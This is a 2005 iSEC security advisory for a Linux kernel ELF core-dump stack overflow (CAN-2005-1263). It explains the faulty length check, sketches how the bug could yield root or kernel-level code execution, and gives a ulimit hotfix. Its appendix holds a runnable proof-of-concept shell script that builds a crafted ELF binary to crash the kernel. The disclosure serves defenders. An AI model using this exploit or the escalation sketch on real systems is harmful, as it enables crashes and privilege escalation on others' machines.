Synopsis:  Linux kernel ELF core dump privilege elevation
Product:   Linux kernel
Version:   2.2 up to and including 2.2.27-rc2, 2.4 up to and including
           2.4.29, 2.6 up to and including 2.6.11
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0023-coredump.txt
CVE:       CAN-2005-1263
Severity:  local(9)
Author:    Paul Starzetz <ihaquer@isec.pl>
Date:      May 11, 2005
Updated:   May 12, 2005


Issue:
======

A locally exploitable flaw has been found in the Linux ELF binary format
loader's core dump  function  that  allows  local  users  to  gain  root
privileges and also execute arbitrary code at kernel privilege level.


Details:
========

The Linux kernel contains a binary format loader layer to load (execute)
programs in different binary formats like ELF  or  a.out.  Some  of  the
binary  format  modules  like  ELF provide an additional function to the
kernel layer named core_dump(). The kernel may call this function  if  a
fault  (e.g.  memory  access  error)  occurs during the execution of the
binary. The core_dump() function will be called by the  kernel,  if  the
process's limit for the core file (RLIMIT_CORE) is sufficiently high and
the process's binary format supports core dumping.

The regular task of the core_dump() function is to  create  an  on  disk
image  of  the  faulty  binary  at the moment of the execution fault for
debugging purposes. In the case of an ELF binary, the image will contain
a  memory  fingerprint  of  the  binary, its registers and moreover some
kernel level structures  containing  the  kernel  state  of  the  faulty
process.

An  analyze  of  the  ELF's  function  elf_core_dump() from binfmt_elf.c
revealed a flaw in the handling of the argument area of an ELF  process.
The  argument  area  is the memory region of the process (in user space)
that contains program arguments at the time  of  its  initial  execution
(argc and argv arguments to the C main() function, arg_start and arg_end
fields in the process's memory descriptor).


Discussion:
=============

The vulnerable  code  resides  in  fs/binfmt_elf.c  in  your  preferable
version of the Linux kernel source code tree:

static int elf_core_dump(long signr, struct pt_regs * regs, struct file * file)
{
       struct elf_prpsinfo psinfo; /* NT_PRPSINFO */

       /* first copy the parameters from user space */
       memset(&psinfo, 0, sizeof(psinfo));
       {
[*]           int i, len;

              len = current->mm->arg_end - current->mm->arg_start;
[**]          if (len >= ELF_PRARGSZ)
                     len = ELF_PRARGSZ-1;
[1167]        copy_from_user(&psinfo.pr_psargs,
                           (const char *)current->mm->arg_start, len);

where  the  line numbers are all valid for the 2.4.30 kernel version. As
can be seen from [*] the len variable supplied to  the  copy_from_user()
function  is signed and can potentially take a negative value. That will
let the check [**] pass  (since  the  ELF_PRARGSZ  constant  is  defined
signed  the  check will be performed with signed arithmetic) and cause a
kernel stack buffer overflow. Note that a negative  length  provided  to
copy_from_user()  will  be interpreted as a very high positive byte copy
count, since the length argument of  the  copy_from_user()  function  is
defined unsigned itself.

However,  there  is at least one difficulty - how could the len argument
become negative? A fast grep through the source code  reveals  that  the
arg_start/end  fields are set only during execution of a new program. In
case of ELF this is performed in the create_elf_tables() subroutine from
binfmt_elf.c,  so  that  in theory those fields are always reset to safe
values. Paradoxically,  there  is  a  flaw  in  the  create_elf_tables()
function,  that  can  permit  a  binary to "inherit" old values from the
preceding binary (during binary execution the task descriptor as well as
the memory descriptor are kept). A look at the code in question reveals:

static elf_addr_t *
create_elf_tables(char *p, int argc, int envc,
                struct elfhdr * exec,
                unsigned long load_addr,
                unsigned long load_bias,
                unsigned long interp_load_addr, int ibcs)
{
       current->mm->arg_start = (unsigned long) p;
       while (argc-->0) {
              __put_user((elf_caddr_t)(unsigned long)p,argv++);
              len = strnlen_user(p, PAGE_SIZE*MAX_ARG_PAGES);
              if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
[239]                return NULL;
              p += len;
       }
       __put_user(NULL, argv);
       current->mm->arg_end = current->mm->env_start = (unsigned long) p;

Obviously it is possible  to  return  from  create_elf_tables()  without
setting  arg_end  (but  with  arg_start  set  to  a  new  value), if the
strnlen_user()  function  fails  to  count  the  length  of  the  binary
argument(s)  supplied.  If  the  arg_start value becomes higher than the
previous end  of  arguments  in  the  "binary  before",  the  difference
<arg_end-arg_start>  will  evaluate  to a negative value, permitting the
buffer overflow described before.

To  exactly  understand  how  the  strnlen_user()  function  could  fail
counting  argument  length,  we  would  have to dig very deeply into the
internals of binary execution as well as into those of ELF.  However  in
order  not  to  sacrifice  the  briefness of an advisory, here comes the
trick:

It is possible to create a manipulated ELF binary, that specifies an ELF
program section to be loaded at the place of program arguments, but with
no access rights itself (that is, a page table level protection equal to
PROT_NONE). That will cause the strnlen_user() function to page fault at
the first attempt to count argument lengths. Moreover,  the  loading  of
ELF  sections  happens just after the initial arguments have been set up
in the fresh memory space, so that it is easily possible  to  "override"
the  predefined  ELF  memory layout. To illustrate this, here two memory
layouts:

(1) initial ELF memory layout before starting to load program sections:

----------------EMPTY------------------[ ARGS stack region ] TASK_SIZE


(2) possible memory layout after loading ELF sections:

---------[CODE][DATA]------------------[FAKE][stack region ] TASK_SIZE

where FAKE is an ELF section mmaped into memory  with  PROT_NONE  rights
specified.

Last  aspect  to  discuss  here  is  the exploitability under real world
conditions. There is  a  "bug  in  the  bug":  if  the  copy_from_user()
function  will  is called with a very high byte count, it will revert to
zeroing the kernel buffer supplied (due to  the  access_ok()  checking),
effectively killing the kernel memory space. However, we believe that it
is possible to carefully prepare the overflow environment  in  order  to
make the bug exploitable. Here just the sketch:

-  the buffer overflown resides on the task's stack in the kernel space,
that is, if the overflow occurs, everything following the task_struct in
kernel space will be zero-killed

-  if  the  task  struct  resides  just  before  the  end  of the kernel
accessible memory, this will cause a kernel Ooops and kill  the  current
task  but  probably  leave  the  system stable. If some kernel structure
follows the task struct and contains pointers that are  not  checked  by
the  kernel  before  dereference,  this  immediately  leads  to elevated
privileges

- in the case of SMP the bug is  easily  exploitable  under  real  world
conditions  as  follows:  two  tasks  are  created  at  adjacent  kernel
addresses (that can be accomplished by creating 3  tasks,  core  dumping
one  of  them  and  inspecting  the  parent/sibling  pointers  form  the
task_struct!). The first task triggers the overflow, so that the  second
task_struct  is  filled  with zeros. The second task running on a second
CPU  repeatedly  issues  a  "lcall  27"  ABI   call,   that   will   use
current->exec_domain   pointer   without  check  (stored  at  the  early
beginning of the  task_struct).  If  the  second  task  sets  up  proper
structures  in  its  virtual memory space, this will let the second task
enter kernel privilege level 0 and permit a  recovery  from  the  buffer
overflow.

We were able to successfully exploit the bug under laboratory conditions
even on a single CPU machine.


Impact:
=======

Unprivileged local users may gain elevated (root) privileges.  Code  may
be  executed  at  the kernel privilege level potentially breaking out of
Linux virtual machines. A hotfix for this vulnerability is  to  disallow
processes  to  drop  core.  This can be accomplished by setting the hard
core size limit for users to 0 (e.g. ulimit -H -c 0, man limits.conf).


Credits:
========

Paul Starzetz <ihaquer@isec.pl> has  identified  the  vulnerability  and
performed  further  research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH  EXPRESS  PERMISSION  OF
ONE OF THE AUTHORS.


References:
========

[1] http://www.skyfree.org/linux/references/ELF_Format.pdf

[2] http://www.gnu.org/software/binutils/manual/ld-2.9.1/


Disclaimer:
===========

This  document and all the information it contains are provided "as is",
for educational purposes only, without warranty  of  any  kind,  whether
express or implied.

The  authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of  the  information   provided  in
this  document.  Liability  claims regarding damage caused by the use of
any information provided, including any kind  of  information  which  is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

#!/bin/bash
#
# elfcd.sh
# warning: This code will crash your machine
#
cat <<__EOF__>elfcd1.c
/*
 *	Linux binfmt_elf core dump buffer overflow
 *
 *	Copyright (c) 2005  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */
//	phase 1
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#include <sys/time.h>
#include <sys/resource.h>

#include <asm/page.h>


static char *env[10], *argv[4];
static char page[PAGE_SIZE];
static char buf[PAGE_SIZE];


void fatal(const char *msg)
{
	if(!errno) {
		fprintf(stderr, "\nFATAL: %s\n", msg);
	}
	else {
		printf("\n");
		perror(msg);
	}
	fflush(stdout); fflush(stderr);
	_exit(129);
}


int main(int ac, char **av)
{
int esp, i, r;
struct rlimit rl;

	__asm__("movl %%esp, %0" : : "m"(esp));
	printf("\n[+] %s argv_start=%p argv_end=%p  ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]), esp);
	rl.rlim_cur = RLIM_INFINITY;
	rl.rlim_max = RLIM_INFINITY;
	r = setrlimit(RLIMIT_CORE, &rl);
	if(r) fatal("setrlimit");

	memset(env, 0, sizeof(env) );
	memset(argv, 0, sizeof(argv) );
	memset(page, 'A', sizeof(page) );
	page[PAGE_SIZE-1]=0;

//	move up env & exec phase 2
	if(!strcmp(av[0], "AAAA")) {
		printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
		argv[0] = "elfcd2";
		argv[1] = page;

//	term 0 counts!
		memset(buf, 0, sizeof(buf) );
		for(i=0; i<789 + 4; i++)
			buf[i] = 'C';
		argv[2] = buf;
		execve(argv[0], argv, env);
		_exit(127);
	}

//	move down env & reexec
	for(i=0; i<9; i++)
		env[i] = page;

	argv[0] = "AAAA";
	printf("\n[+] phase 1"); fflush(stdout);
	execve(av[0], argv, env);

return 0;
}
__EOF__
cat <<__EOF__>elfcd2.c
//	phase 2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>

#include <sys/syscall.h>

#include <asm/page.h>

#define __NR_sys_read		__NR_read
#define __NR_sys_kill		__NR_kill
#define __NR_sys_getpid		__NR_getpid


char stack[4096 * 6];
static int errno;


inline _syscall3(int, sys_read, int, a, void*, b, int, l);
inline _syscall2(int, sys_kill, int, c, int, a);
inline _syscall0(int, sys_getpid);


//	yeah, lets do it
void killme()
{
char c='a';
int pid;

	pid = sys_getpid();
	for(;;) {
		sys_read(0, &c, 1);
		sys_kill(pid, 11);
	}
}


//	safe stack stub
__asm__(
	"		nop				\n"
	"_start:	movl 	\$0xbfff6ffc, %esp	\n"
	"		jmp 	killme			\n"
	".global 	_start				\n"
);
__EOF__
cat <<__EOF__>elfcd.ld
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
              "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i486-suse-linux/lib);

MEMORY
{
  ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
  rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
}

PHDRS
{
  headers PT_PHDR PHDRS ;
  text PT_LOAD FILEHDR PHDRS ;
  fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
}

SECTIONS
{

  .dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme

  . = 0xbfff0000 + SIZEOF_HEADERS;
  .text : { *(.text) } >ram :text
  .data : { *(.data) } >ram :text
  .bss       :
  {
   *(.dynbss)
   *(.bss)
   *(.bss.*)
   *(.gnu.linkonce.b.*)
   *(COMMON)
   . = ALIGN(32 / 8);
  } >ram :text

}
__EOF__

# compile & run
echo -n "[+] Compiling..."
gcc -O2 -Wall elfcd1.c -o elfcd1
gcc -O2 -nostdlib elfcd2.c -o elfcd2 -Xlinker -T elfcd.ld -static
./elfcd1